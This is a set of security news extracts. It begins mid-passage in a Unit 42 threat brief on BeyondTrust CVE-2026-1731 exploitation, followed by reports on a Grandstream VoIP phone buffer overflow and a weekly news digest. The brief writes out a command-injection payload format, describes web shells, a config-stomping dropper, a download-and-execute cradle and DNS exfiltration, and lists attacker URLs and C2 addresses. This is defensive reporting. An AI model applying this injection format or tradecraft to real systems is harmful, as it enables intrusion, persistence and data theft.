crafted, malformed remoteVersion value that contains the malicious payload. The payload leverages a specific format, observed in proof-of-concept (PoC) code as a[$(cmd)]0, to force the arithmetic evaluation. Payload execution: The thin-scc-wrapper script processes the remoteVersion value, inadvertently triggering the malicious payload, which is an injected shell command. The injected commands execute in the context of the “site user.” While this account is distinct from the root user, compromising it effectively grants the attacker control over the appliance's configuration, managed sessions and network traffic. Unit 42 is actively investigating multiple compromises related to the exploitation of CVE-2026-1731. We have observed successful exploitation of the vulnerability followed by attackers leveraging their access to: Create domain accounts Install remote management tools to perform reconnaissance of domain administrators and trusts Create local administrator accounts Deploy a backdoor Attempt to install additional remote management tools (i.e., SimpleHelp and AnyDesk) and/or tunneling tools (i.e., Cloudflare) Data theft We have observed attackers using a custom Python script for temporary account takeover, granting access to an administrative account (User ID 1) for 60 seconds before deleting the file to minimize artifact recovery. The Python script functions by querying the target's database to back up the existing password hash for the primary administrator (User ID 1). It leverages the application's own authentication binary (check_auth) to generate a valid hash for the password string password and injects the hash into the database. After sleeping for one minute, the script restores the original password hash and self-destructs, effectively hiding the intrusion from the legitimate administrator and minimizing forensic artifacts on disk. Figure 1 shows this Python script. Unit 42 identified attackers installing multiple web shells across directories, including a password-protected one-line PHP web shell. This compact PHP backdoor uses the eval() function to execute raw PHP code submitted via the POST['1'] parameter, contingent on the presence of the GET['aaaa'] parameter. This structure allows attackers to execute post-exploitation tasks such as file uploads or database dumps without writing additional files to disk. Figure 2 shows an example of this one-line PHP web shell. We recovered a compact, multi-vector PHP web shell (aws.php) designed to function as a stealthy execution gate for an automated C2 client. It aggregates all incoming HTTP data sources (POST, GET and Cookie) to locate a specific parameter named 'ASS', which serves as the payload carrier. The script Base64-decodes this parameter and executes it via eval(), allowing the attacker to run arbitrary PHP code without writing new files to disk. The distinct echoing of DQo= (CRLF characters) before and after execution acts as a data delimiter, a signature trait of C2 tools like China Chopper or AntSword. These delimiters enable the client software to programmatically extract command output from the noisy HTML response of the compromised page. This PHP web shell is shown below in Figure 3. Attackers also used a bash dropper that employs a “config STOMPing” technique to establish a persistent web shell. The script first writes a password-protected PHP backdoor (file_save.php) to the web root directory, which executes arbitrary system commands only when the query parameter key equals vjwr. It then momentarily injects a malicious Location directive into the active Apache configuration file, forcing requests for the backdoor to be handled by a specific Unix socket (/ns/tmp/php-fpm.sock). The script restarts the Apache service to load this malicious configuration into memory and immediately overwrites the configuration file on disk with a clean backup. This leaves the backdoor fully functional in the running process while ensuring the configuration file on disk appears unmodified to forensic investigators. Figure 4 below shows this bash dropper. Unit 42 observed numerous instances of SparkRAT backdoor activity across a wide swath of environments. SparkRAT was originally identified in 2023 as being used in a series of attacks nicknamed DragonSpark. This backdoor is a cross-platform, open-source remote access Trojan (RAT) written in the Go programming language. The tool has been used in various attacks since 2022. Attackers have also been leveraging VShell, a stealthy Linux backdoor [PDF] and RAT characterized by its evasion techniques, including fileless memory execution and the ability to masquerade as legitimate system services. Along with PowerShell scripts designed to download and install a Nezha monitoring agent, we also observed a multi-method "download and execute" cradle. This strategy is designed to guarantee payload delivery across diverse Linux environments (from servers to IoT devices) by chaining redundant commands (wget, curl, python, busybox). This strategy retrieves a malicious script (blue.drx) from a legitimate file transfer service and pipes the content directly into sh for immediate execution. Additionally, Unit 42 observed attackers attempting reverse shells to infrastructure consistent with the default Metasploit Meterpreter over port 4444. Attackers used out-of-band (OAST) techniques targeting the Burp Suite Collaborator service oastify[.]com to validate successful code execution and fingerprint compromised systems. Unlike traditional C2 channels that may be blocked by egress filtering, these attacks leverage the DNS protocol to bypass network firewalls. By encoding the victim's hostname into the subdomain of a DNS query (e.g., [encoded_hostname].[attacker_domain]), the attacker attempts to disguise the data leaving the network as legitimate-looking DNS traffic. The receiving OAST server logs the query, allowing the attacker to confirm the breach and identify the specific machine without establishing a TCP/HTTP connection. The script used in this attack captures the system hostname, converts it to a hexadecimal string and transmits it via nslookup queries to the attacker's OAST domain. Figure 5 below shows an example. These attacks have used the PowerShell command shown in Figure 6 to handle the BitConverter encoding and manage DNS label limits (chunking data into 63-character segments) to ensure successful transmission through strict DNS resolvers. Unit 42 observed attackers leveraging a remoteVersion parameter injection to execute a complex chain of commands designed to stage, compress and exfiltrate sensitive data. The attackers targeted configuration files, internal system databases and a full PostgreSQL dump, attempting to transmit data to an attacker-controlled C2 server. The relationship between CVE-2026-1731 and CVE-2024-12356 highlights a localized, recurring challenge with input validation within distinct execution pathways. CVE-2024-12356's insufficient validation was using third-party software (postgres), while CVE-2026-1731's insufficient validation problem occurred in the BeyondTrust Remote Support (RS) and older versions of the BeyondTrust Privileged Remote Access (PRA) codebase. In the case of CVE-2024-12356, attackers identified insufficient input validation within a WebSocket endpoint handling logic. By manipulating the remoteVersion parameter, they successfully bypassed existing validation checks to execute command lines via the thin-scc-wrapper. This evolution underscores that exposed input-handling pathways remain a primary, high-value target for adversaries seeking pre-authenticated initial access. The significance of this attack surface is underscored by historical precedent. The original vulnerability (CVE-2024-12356) was exploited by the threat actor Silk Typhoon (aka APT27, UNC5221, Emissary Panda) in high-profile campaigns, including a breach of the U.S. Treasury in 2024. This history suggests that CVE-2026-1731 could be a target for sophisticated threat actors seeking similar leverage. A February 2026 Beyond Trust advisory recommends that self-hosted customers of Remote Support and Privileged Remote Access manually patch any instances that are not subscribed to automatic updates in the appliance interface. Customers on a Remote Support version older than 21.3 or on Privileged Remote Access older than 22.1 will need to upgrade to a newer version to apply this patch. Self-hosted customers of Privileged Remote Access may also upgrade to 25.1.1 or a newer version to remediate this vulnerability. A patch has been applied to all Remote Support SaaS and Privileged Remote Access SaaS customers as of Feb. 2, 2026, that remediates this vulnerability. Self-hosted customers of Remote Support may also upgrade to 25.3.2 to remediate this vulnerability. The Unit 42 Managed Threat Hunting team continues to track any attempts to exploit this CVE across our customers, using Cortex XDR and the XQL queries below. Cortex XDR customers can also use these XQL queries to search for signs of exploitation. CVE-2026-1731 is a vulnerability that attackers are actively exploiting in systems running unpatched versions of BeyondTrust remote support software. Successfully exploiting this vulnerability can allow attackers to gain RCE privileges. CVE-2026-1731 is related to a similar vulnerability from 2024 that was also noted as exploited in the wild. The recurrence of this type of vulnerability underscores the necessity of defense-in-depth architecture for high-value remote access platforms. Rather than relying solely on patch management, organizations should prioritize architectural containment by strictly limiting administrative interfaces to internal, segmented management networks or zero trust network access gateways. This approach ensures that even if specific code paths remain vulnerable or new variants emerge, the management plane remains shielded from both opportunistic and targeted exploitation attempts. Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Palo Alto Networks customers are better protected by our products, as listed below. We will update this threat brief as more relevant information becomes available. Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat. If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM help protect against post-exploitation activities using the multi-layer protection approach. Cortex Xpanse has the ability to identify exposed BeyondTrust Secure Remote Access systems on the public internet and escalate these findings to defenders. Customers can enable alerting on this risk by ensuring that the BeyondTrust Secure Remote Access Attack Surface Rule is enabled. Identified findings can either be viewed in the Threat Response Center or in the incident view of Expander. These findings are also available for Cortex XSIAM customers who have purchased the ASM module. While there are no known indications of the exploitation of this vulnerability within cloud infrastructure, Cortex Cloud customers are better protected from, and can detect and remediate, vulnerable cloud infrastructure by using Cortex Cloud’s vulnerability monitoring. Additionally, the proper placement of Cortex Cloud XDR endpoint agent and serverless agents within a cloud environment helps detect and prevent the malicious operations, configuration alterations or exploitation at runtime providing sustained defenses of the cloud environment. 23.162.40[.]187 37.19.221[.]180 45.61.150[.]96 70.23.0[.]66 82.29.53[.]187 82.29.72[.]16 83.138.53[.]139 85.155.186[.]121 92.223.44[.]134 98.10.233[.]76 134.122.13[.]34 138.197.14[.]95 142.111.152[.]50 144.172.103[.]200/4444 155.2.215[.]64 178.128.212[.]209 179.43.146[.]42 45.61.150[.]96/4444 138.197.14[.]95/ws (SparkRAT) hxxp[:]//64.31.28[.]221/support aliyundunupdate[.]xyz:8084/slt (VShell) d65sb7ngveucv5k2nm508abdsjmbn7qmn.oast[.]pro q0r2e5q2dzbykcox9qmkptm12s8mwb.oastify[.]com hxxp[:]//134.122.13[.]34:8979/c (SparkRAT) hxxp[:]//82.29.53[.]187:8778/app_cli hxxps[:]//transfer.weepee[.]io/7nZw7/blue.drx hxxp[://]85.155.186[.]121/access (SimpleHelp) hxxps[:]//temp[.]sh/tQTSs/storm.exe hxxps[:]//64.95.10[.]115:23011/update.sh hxxps[:]//judiemkqjajsfzpidfjlowgl8nyrtd49x.oast[.]fun hxxps[:]//raw.githubusercontent[.]com/nezhahq/scripts/main/agent/install.ps1 hxxp[:]//39uchxifap4cvgzsuirom0szrrg.d65lre9sfqnlcv49317gcis6pyjsatzho.oast[.]pro hxxps[:]//85.155.186[.]121/access/Remote%20Access-linux64-offline.tar?language=en&app=76049110434275449312180081368257747094 hxxps[:]//github[.]com/nicocha30/ligolo-ng/releases/download/v0.8.2/ligolo-ng_agent_0.8.2_linux_amd64.tar.gz 9f431d5549a03aee92cfd2bdbbe90f1c91e965c99e90a0c9ad5a001f4e80c350 (SparkRAT) 98a7b0900a9072bb40af579ec372da7b27af12b15868394df51fefe290ab176b (VShell) 66cceb2c2f1d9988b501832fd3b559775982e2fce4ab38fc4ffe71b74eafc726 (maintenance.php) 679ee05d92a858b6fe70aeb6072eb804548f1732e18b6c181af122b833386afb (d6) 4762e944a0ce1f9aef243e11538f84f16b6f36560ed6e32dfd9a5f99e17e8e50 (Installer for SimpleHelp) 98442387d466f27357d727b3706037a4df12a78602b93df973b063462a677761 (aws.php) cc2bc3750cc5125a50466f66ae4f2bedf1cac0e43477a78ed2fd88f3e987a292 (Bash Script) cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce (file_save.php) 0ecc867ce916d01640d76ec03de24d1d23585eb582e9c48a0364c62a590548ac Updated Feb. 20, 2026, at 9:50 a.m. PT to adjust the number of exposed instances identified by Cortex Xpanse.
unit42.paloaltonetworks.comFeb 19, 2026extracted
Flaw in Grandstream VoIP phones allows stealthy eavesdropping
A critical vulnerability in Grandstream GXP1600 series VoIP phones allows a remote, unauthenticated attacker to gain root privileges and silently eavesdrop on communications. VoIP communication equipment from Grandstream Networks is being used by small and medium businesses. The maker's GXP product line is part of the company's high-end offering for businesses, schools, hotels, and Internet Telephony Service Providers (ITSP) around the world. The vulnerability is tracked as CVE-2026-2329 and received a critical severity score of 9.3. It impacts the following six models of the GXP1600 series of devices that run firmware versions prior to 1.0.7.81: GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630 Even if a vulnerable device is not directly reachable over the public internet, an attacker can pivot to it from another host on the network. Exploitation is silent, and everything works as expected. In a technical report, Rapid7 researchers explain that the problem is in the device’s web-based API service (/cgi-bin/api.values.get), which is accessible without authentication in the default configuration. The API accepts a ‘request’ parameter containing colon-delimited identifiers, which is parsed into a 64-byte stack buffer without performing a length check when copying characters into the buffer. Because of this, an attacker supplying overly long input can cause a stack overflow, overwriting adjacent memory to gain control over multiple CPU registers, such as the Program Counter. Rapid7 researchers developed a working Metasploit module to demonstrate unauthenticated remote code execution as root by exploiting CVE-2026-2329. Exploitation enables arbitrary OS command execution, extracting stored credentials of local users and SIP accounts, and reconfiguring the device to use a malicious SIP proxy that allows eavesdropping on calls. Rapid7 researchers say that successful exploitation requires writing multiple null bytes to construct a return-oriented programming (ROP) chain. However, CVE-2026-2329 permits writing of only one null terminator byte during the overflow. To bypass the restriction, the researchers used multiple colon-separated identifiers to trigger the overflow repeatedly and write null bytes multiple times. “Every time a colon is encountered, the overflow can be triggered a subsequent time via the next identifier,” explain the researchers in the technical writeup. “We can leverage this, and the ability to write a single null byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.” The researchers contacted Grandstream on January 6 and again on January 20 after receiving no response. Eventually, Grandstream fixed the issue on February 3, with the release of firmware version 1.0.7.81. Technical details and a module for the Metasploit penetration testing and exploitation framework. Users of vulnerable Grandstream products are strongly advised to apply available security updates as soon as possible. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comFeb 19, 2026extracted
Bug in widely used VoIP phones allows stealthy network footholds, call interception (CVE-2026-2329)
Bug in widely used VoIP phones allows stealthy network footholds, call interception (CVE-2026-2329) A critical security vulnerability (CVE-2026-2329) in Grandstream VoIP phones could let hackers remotely take full control of the devices and even intercept calls, Rapid7 researchers discovered. “The vulnerability is present in the device’s web-based API service, and is accessible in a default configuration,” Rapid7 researcher Stephen Fewer noted. The risks related to CVE-2026-2329 exploitation CVE-2026-2329 stems from improper bounds checking in a web management endpoint. An attacker can send a specially crafted request to the device that triggers a buffer overflow condition, potentially enabling unauthenticated attackers to remotely execute code with root privileges on a vulnerable device. Because the flaw does not require authentication, it can be exploited without valid credentials if the management interface is reachable (either directly, or from somewhere else inside the network). Rapid7 has developed Metasploit exploit modules to demonstrate how attackers may leverage this vulnerability to: Remotely execute code with root privileges on a vulnerable device Gather credentials (e.g., local user and SIP accounts) stored on the device “Finally, we can leverage our RCE capabilities to reconfigure the target device to use a malicious SIP proxy [a server that routes Session Initiation Protocol messages between devices], allowing an attacker to transparently intercept phone calls to and from the device, and eavesdrop on the audio,” Fewer explained. What to do? CVE-2026-2329 affects the entire Grandstream GXP1600 series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. More specifically, the flaw affects firmware versions 1.0.7.79 and earlier, and has been fixed in v1.0.7.81. This line of VoIP desk phones is widely used in small offices and corporate deployments. These devices are often deployed on internal networks, but are sometimes exposed to the internet for remote administration. Because detailed technical information about the flaw is publicly available and Metasploit exploit modules have been released, organizations using these VoIP phones are strongly urged to apply the updated firmware as soon as possible. While exploitation requires knowledge and skill, the vulnerability “lowers the barrier in a way that should concern anyone operating these devices in exposed or lightly-segmented environments,” said Douglas McKee, Director of Vulnerability Intelligence at Rapid7. He also pointed out that the main risk lies in the potential for long-term, covert access, as VoIP phones are typically trusted by default within corporate environments and often remain in service for years after deployment with little additional scrutiny. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comFeb 19, 2026extracted
Grandstream GXP1600 VoIP Phones Exposed to Unauthenticated Remote Code Execution
Cybersecurity researchers have disclosed a critical security flaw in the Grandstream GXP1600 series of VoIP phones that could allow an attacker to seize control of susceptible devices. The vulnerability, tracked as CVE-2026-2329, carries a CVSS score of 9.3 out of a maximum of 10.0. It has been described as a case of unauthenticated stack-based buffer overflow that could result in remote code execution. "A remote attacker can leverage CVE-2026-2329 to achieve unauthenticated remote code execution (RCE) with root privileges on a target device," Rapid7 researcher Stephen Fewer, who discovered and reported the bug on January 6, 2026, said. According to the cybersecurity company, the issue is rooted in the device's web-based API service ("/cgi-bin/api.values.get") and is accessible in a default configuration without requiring authentication. This endpoint is designed to fetch one or more configuration values from the phone, such as the firmware version number or the model, through a colon-delimited string in the "request" parameter (e.g., "request=68:phone_model"), which is then parsed to extract each identifier and append it to a 64 byte buffer on the stack. "When appending another character to the small 64 byte buffer, no length check is performed to ensure that no more than 63 characters (plus the appended null terminator) are ever written to this buffer," Fewer explained. "Therefore, an attacker-controlled 'request' parameter can write past the bounds of the small 64 byte buffer on the stack, overflowing into adjacent stack memory." This means that a malicious colon-delimited "request" parameter sent as part of an HTTP request to the "/cgi-bin/api.values.get" endpoint can be used to trigger a stack-based buffer overflow, allowing the threat actors to corrupt the stack contents and ultimately achieve remote code execution on the underlying operating system. The vulnerability affects GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630 models. It has been addressed as part of a firmware update (version 1.0.7.81) released late last month. In a Metasploit exploit module developed by Rapid7, it has been demonstrated that the vulnerability could be exploited to gain root privileges on a vulnerable device and chain it with a post-exploitation component to extract credentials stored on a compromised device. Furthermore, the remote code execution capabilities can be weaponized to reconfigure the target device to use a malicious Session Initiation Protocol (SIP) proxy, effectively enabling the attacker to intercept phone calls to and from the device and eavesdrop on VoIP conversations. A SIP proxy is an intermediary server in VoIP networks to establish and manage voice/video calls between endpoints. "This isn't a one-click exploit with fireworks and a victory banner," Rapid7's Douglas McKee said. "But the underlying vulnerability lowers the barrier in a way that should concern anyone operating these devices in exposed or lightly-segmented environments."
thehackernews.comFeb 18, 2026extracted
Week in review: Exploited newly patched BeyondTrust RCE, United Airlines CISO on building resilience
Week in review: Exploited newly patched BeyondTrust RCE, United Airlines CISO on building resilience Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: United Airlines CISO on building resilience when disruption is inevitable In this Help Net Security interview, Deneen DeFiore, VP and CISO at United Airlines, explains how the company approaches modernization without compromising safety-critical environments, why resilience and continuity matter as much as prevention, and how the airline manages risk across an interconnected ecosystem of vendors, partners, and infrastructure providers. What happens when cybersecurity knowledge walks out the door In this Help Net Security interview, Andrew Northern, Principal Security Researcher at Censys, explains why mentorship matters and what organizations risk losing when senior staff disengage. He argues that institutional memory and judgment under pressure are difficult to rebuild once they disappear. Groupe Rocher CISO on strengthening a modern retail cybersecurity strategy In this Help Net Security interview, Jérôme Etienne, Group CISO, Groupe Rocher shares practical insights on closing strategy gaps, managing third-party risk, and securing online and in-store environments. In the conversation, he also discusses why point-of-sale and in-store systems can no longer be treated as secondary security concerns, especially as attackers increasingly target overlooked technologies. OpenClaw Scanner: Open-source tool detects autonomous AI agents A new free, open source tool is available to help organizations detect where autonomous AI agents are operating across corporate environments. The OpenClaw Scanner identifies instances of OpenClaw, an autonomous AI assistant also known as MoltBot, that can execute tasks, access local files, and authenticate to internal systems without centralized oversight. When security decisions come too late, and attackers know it In this Help Net Security, Chris O’Ferrell, CEO at CodeHunter, talks about why malware keeps succeeding, where attackers insert malicious code in the SDLC, and how CI/CD pipelines can become a quiet entry point. He also breaks down the difference between behavioral detection and behavioral intent analysis, and why explainable results matter for security teams. Edge computing’s biggest lie: “We’ll patch it later” In this Help Net Security interview, Piotr Buliński, CTO of Qbee, digs into the edge equivalent of “snowflake servers,” why cloud habits break in the field, and what it takes to monitor and update fleets safely. BeyondTrust fixes easy-to-exploit pre-auth RCE vulnerability in remote access tools (CVE-2026-1731) BeyondTrust fixed a critical remote code execution vulnerability (CVE-2026-1731) in its Remote Support (RS) and Privileged Remote Access (PRA) solutions and is urging self-hosted customers to apply the patch as soon a possible. Unlike the Remote Support zero-day (CVE-2024-12356) that was flagged after having been exploited by China-nexus threat actors to breach the US Treasury Department in late 2024, this newest vulnerability was discovered and privately disclosed by a security researcher. European Commission hit by cyberattackers targeting mobile management platform The European Commission’s mobile device management platform was hacked but the incident was swiftly contained and no compromise of mobile devices was detected, EU’s executive branch announced on Friday. The intrusion was detected on January 30, 2026, by CERT-EU, the cybersecurity team protecting all European Union institutions, bodies, and agencies. Ransomware group breached SmarterTools via flaw in its SmarterMail deployment SmarterTools, the company behind the popular Microsoft Exchange alternative SmarterMail, has been breached by a ransomware-wielding group that leveraged a recently fixed vulnerability in that solution. Unpatched SolarWinds WHD instances under active attack Internet‑exposed and vulnerable SolarWinds Web Help Desk (WHD) instances are under attack by threat actors looking to gain an initial foothold into target organizations’ networks, Microsoft and Huntress researchers have warned. Singapore telcos breached in China-linked cyber espionage campaign Singapore’s four major telecommunications companies were hit by a coordinated cyber espionage campaign last year, the country’s Cyber Security Agency (CSA) has revealed. An advanced persistent threat group known as UNC3886 has probed deep into the networks of M1, SIMBA Telecom, Singtel, and StarHub, spurring Singapore’s security agencies to mount a large cyber defence operation. Microsoft Patch Tuesday: 6 exploited zero-days fixed in February 2026 Microsoft has plugged 50+ security holes on February 2026 Patch Tuesday, including six zero-day vulnerabilities exploited by attackers in the wild. Among the zero-days fixed are three vulnerabilities that allow attackers to bypass a security feature. Ivanti EPMM exploitation: Researchers warn of “sleeper” webshells A massive wave of exploitation attempts has followed the disclosure of CVE-2026-1281, a critical pre-authentication Ivanti EPMM vulnerability, the Shadowserver Foundation has warned. Some of it is automated scanning for vulnerable systems, but according to Greynoise and Defused, a suspected initial access broker has been prepping unpatched instances with a “sleeper” webshell for follow-on exploitation by other threat actors. Apple fixes zero-day flaw exploited in targeted attacks (CVE-2026-20700) Apple has released fixes for a zero-day vulnerability (CVE-2026-20700) exploited in targeted attacks last year. CVE-2026-20700 is a memory corruption issue in dyld, the Dynamic Link Editor component of Apple’s operating systems, and may allow attackers with memory write capability to execute arbitrary code. Windows Notepad Markdown feature opens door to RCE (CVE-2026-20841) Among the many security fixes released by Microsoft on February 2026 Patch Tuesday is one for CVE-2026-20841, a command injection vulnerability in Notepad that could be exploited by attackers to achieve remote code execution on targets’ Windows system. Hackers probe, exploit newly patched BeyondTrust RCE flaw (CVE-2026-1731) Attackers are exploiting a recently patched critical vulnerability (CVE-2026-1731) in internet-facing BeyondTrust Remote Support and Privileged Remote Access instances. How AI is reshaping attack path analysis Attackers increasingly leverage AI to rapidly identify weaknesses and chain exploits, forcing defenders to keep pace by using AI to identify and stop those same weaknesses. However, security teams often struggle to determine what matters most, how it could realistically be exploited, and what to fix first. Brutus: Open-source credential testing tool for offensive security Brutus is an open-source, multi-protocol credential testing tool written in pure Go. Designed to replace legacy tools that have long frustrated penetration testers with dependency headaches and integration gaps, Brutus ships as a single binary with zero external dependencies and native support for the JSON-based reconnaissance pipelines that define offensive security. AI-driven scams are eroding trust in calls, messages, and meetings In this Help Net Security video, Miguel Fornés, Governance and Compliance Manager at Surfshark, discusses how AI is changing social engineering attacks. He describes how tasks that once took weeks, such as research and targeting, are now automated and cheap. This shift has lowered the skills and cost needed to run scams and phishing campaigns. Attackers use AI agents to gather open source data and hold live conversations with victims without human help. Allama: Open-source AI security automation Allama is an open-source security automation platform that lets teams build visual workflows for threat detection and response. It includes integrations with 80+ types of tools and services typical in security operations, including SIEM systems, endpoint detection and response products, identity providers, and ticketing systems. TikTok under EU pressure to change its addictive algorithm The European Commission has issued preliminary findings that say TikTok breaches the Digital Services Act due to its addictive design. The Commission opened a formal investigation into TikTok in February 2024. The probe examined whether the platform meets its obligations as a very large online platform under the Digital Services Act. These obligations include identifying risks linked to the service and taking steps to reduce them. EU targets Meta over WhatsApp AI access restrictions The European Commission believes Meta breached EU competition rules by blocking other AI assistants from accessing and interacting with users on WhatsApp. Face scans and ID checks are coming to Discord Discord users will soon see a change to how their accounts work. From early March 2026, access to some features will require age verification using an ID or a face scan. The changes follow earlier deployments in a small number of countries and will apply to both new and existing accounts. DuckDuckGo enables AI voice chat without saving voice data DuckDuckGo has added voice chat to Duck.ai, allowing users to speak to an AI assistant while keeping audio private, unrecorded, and excluded from AI training. Voice chat is available in the DuckDuckGo browser and most third-party browsers, with support for Mozilla listed as coming soon. Trojanized 7-Zip downloads turn home computers into proxy nodes A trojanized version of the popular 7-Zip software is quietly turning home computers into residential proxy nodes, Malwarebytes warns. Spurred by a Reddit post in which a user complained about getting infected with malware after downloading 7-Zip from 7zip[.]com instead of the legitimate 7-zip.org, Malwarebytes researchers looked into the matter and found that the malicious installer functions as 7-zip, but also silently drops additional payloads onto the system. Microsoft tightens Windows security with app transparency and user consent Microsoft is strengthening default protections in Windows through two security initiatives, Windows Baseline Security Mode and User Transparency and Consent. User Transparency and Consent introduces a structured approach to how Windows presents security decisions to users. The operating system will prompt users when applications request access to sensitive resources such as files, cameras, or microphones, and when installers attempt to add additional software. That “summarize with AI” button might be manipulating you Microsoft security researchers discovered a growing trend of AI memory poisoning attacks used for promotional purposes, referred to as AI Recommendation Poisoning. Picking an AI red teaming vendor is getting harder Vendor noise is already a problem in traditional security testing. AI red teaming has added another layer of confusion, with providers offering everything from consulting engagements to automated testing platforms. Many buyers still struggle to tell whether a vendor can test real-world AI system behavior or only run a packaged set of jailbreak prompts. OpenVPN releases version 2.7.0 with expanded protocol and platform updates OpenVPN version 2.7.0 is now available. The update advances support for multi-address server configurations and updates client functionality across operating systems. The release includes enhancements in data channel handling and support for evolving kernel and cryptographic components. 1Password open sources a benchmark to stop AI agents from leaking credentials Research has shown that some AI models can identify phishing websites with near-perfect accuracy when asked. When those same models are used as autonomous agents with access to tools like email, web browsers, and password vaults, they can still carry out the scam. That gap is the focus of a new open source benchmark from 1Password called the Security Comprehension and Awareness Measure, or SCAM. Police arrests distributor of JokerOTP password-stealing bot The Dutch National Police arrested a 21-year-old man from Dordrecht as part of a cybercrime investigation by Team Cybercrime Oost-Brabant. The suspect is believed to have distributed a tool known as JokerOTP, a bot used to intercept one-time passwords (OTPs) used to secure online accounts and financial transactions. Bitcoin trading firm CEO gets 20 years for operating $200 million Ponzi scheme The U.S. Department of Justice sentenced the CEO of a multi level marketing and bitcoin trading firm to 20 years in prison after a conviction for wire fraud and money laundering tied to a large scale Ponzi scheme. AI agents behave like users, but don’t follow the same rules Security and governance approaches to autonomous AI agents rely on static credentials, inconsistent controls, and limited visibility. Securing these agents requires the same rigor and traceability applied to human users, according to Cloud Security Alliance’s Securing Autonomous AI Agents report. OpenAI updates Europe privacy policy, adding new data categories OpenAI has updated its Europe-facing privacy policy following the November 2024 EU revision, clarifying scope, expanding coverage, and detailing user controls. The updated document is longer, with dedicated sections for data controls and practical resources. It explains key controls and settings within the text, making available choices easier to understand without moving between documents. Linux kernel 6.19 reaches stable release, kernel 7.0 work is already underway Development activity on the Linux kernel continues into early 2026 with the stable release of version 6.19. Kernel maintainers have completed the pre-release cycle and merged the final set of changes into the mainline tree. The release follows the ongoing weekly rhythm of code submission and testing that supports Linux’s widespread use across servers, desktops, and embedded systems. Security teams are paying for sprawl in more ways than one Most enterprises run security programs across sprawling environments that include mobile devices, SaaS applications, cloud infrastructure, and telecom networks. Spend control in these areas often sits outside the security organization, even when the operational consequences land directly on security teams. Tangoe’s 2026 Trends & Savings Recommendations Report connects these cost domains to recurring governance failures that create risk exposure across identity, endpoint management, and infrastructure visibility. Product showcase: PCAPdroid analyzes Android app network activity PCAPdroid is a free, open-source Android app that allows inspection of network traffic. Installation is straightforward and does not require creating an account. To begin capturing traffic, a VPN request must be accepted, which allows the app to monitor network activity. Once permission is granted, tapping the play button starts PCAPdroid, which then runs in the background until stopped. Zen-AI-Pentest: Open-source AI-powered penetration testing framework Zen-AI-Pentest provides an open-source framework for scanning and exercising systems using a combination of autonomous agents and standard security utilities. The project aims to let users run an orchestrated sequence of reconnaissance, vulnerability scanning, exploitation, and reporting using AI guidance and industry tools like Nmap and Metasploit. It is written to support command line, API, and web interfaces. Yubico previews passkey-enabled digital signatures in upcoming YubiKey 5.8 firmware Yubico’s upcoming YubiKey 5.8 firmware introduces standardized APIs that integrate hardware-backed signatures with passkey authentication. To enable privacy-capable digital signatures using passkeys, expanded enterprise IdP support, and next-generation digital wallet use cases, the firmware adds support for FIDO CTAP 2.3 and preview WebAuthn signing extensions. Google Search introduces new ways to remove sensitive personal information and explicit images Google expanded its “Results about you” tool to give users more control over sensitive personal information and added a way to request removal of non-consensual explicit images from Search. Microsoft begins Secure Boot certificate update for Windows devices Microsoft has begun updating Secure Boot certificates originally issued in 2011 to ensure that Windows devices continue to verify boot software as older certificates reach the end of their lifecycle and begin expiring in June 2026. Java security work is becoming a daily operational burden Security teams in large enterprises already spend significant time tracking vulnerabilities across software supply chains, third-party libraries, and internal codebases. Java environments add another layer of exposure because so many mission-critical systems still run on the JVM. Cloud teams are hitting maturity walls in governance, security, and AI use Enterprise cloud programs have reached a point where most foundational services are already in place, and the daily work now centers on governance, security enforcement, and managing sprawl across environments. Hybrid and multi-cloud architectures have become routine in large organizations, bringing new operational pressures around consistency and control. Microsoft Store updated with a new CLI, analytics, and Web Installer improvements Microsoft has introduced new developer tools, updates to developer analytics, and a Web Installer in the Microsoft Store on Windows to help developers build and scale apps on the platform. Attackers are moving at machine speed, defenders are still in meetings Threat actors are using AI across the attack lifecycle, increasing speed, scale, and adaptability, according to the 2026 State of Cybersecurity report by Ivanti. The study compares perceived threat levels across common attack types with organizational readiness to respond and identifies persistent gaps between awareness and execution across security programs. Cyber risk is becoming a hold-period problem for private equity firms Private equity firms have spent years treating cybersecurity as an IT hygiene issue inside portfolio companies. That approach is getting harder to sustain as ransomware, data theft, and regulatory pressure interfere with value creation during the hold period. Ubuntu 24.04.4 LTS arrives with cumulative security and bug fixes Security teams running Ubuntu in production often delay major OS upgrades until the next point release arrives with accumulated patches and newer hardware support. Ubuntu 24.04.4 LTS is now available as refreshed installation media for Noble Numbat, bundling the latest updates and offering a current hardware enablement stack for new deployments. Why secure OT protocols still struggle to catch on Industrial control system networks continue to run on legacy communication protocols that were built for reliability and uptime, not authentication or data integrity. In many environments, malicious actors with access to the OT network can impersonate devices, issue unauthenticated commands, or modify messages in transit without detection. OpenAI released GPT-5.3-Codex-Spark, a real-time coding model OpenAI has released a research preview of GPT-5.3-Codex-Spark, an ultra-fast model for real-time coding in Codex. It is available to ChatGPT Pro users in the latest versions of the Codex app, the command-line interface, and the VS Code extension. Cybersecurity jobs available right now: February 10, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: February 13, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Armis, Black Duck, Portnox, and SpecterOps.
helpnetsecurity.comFeb 15, 2026extracted
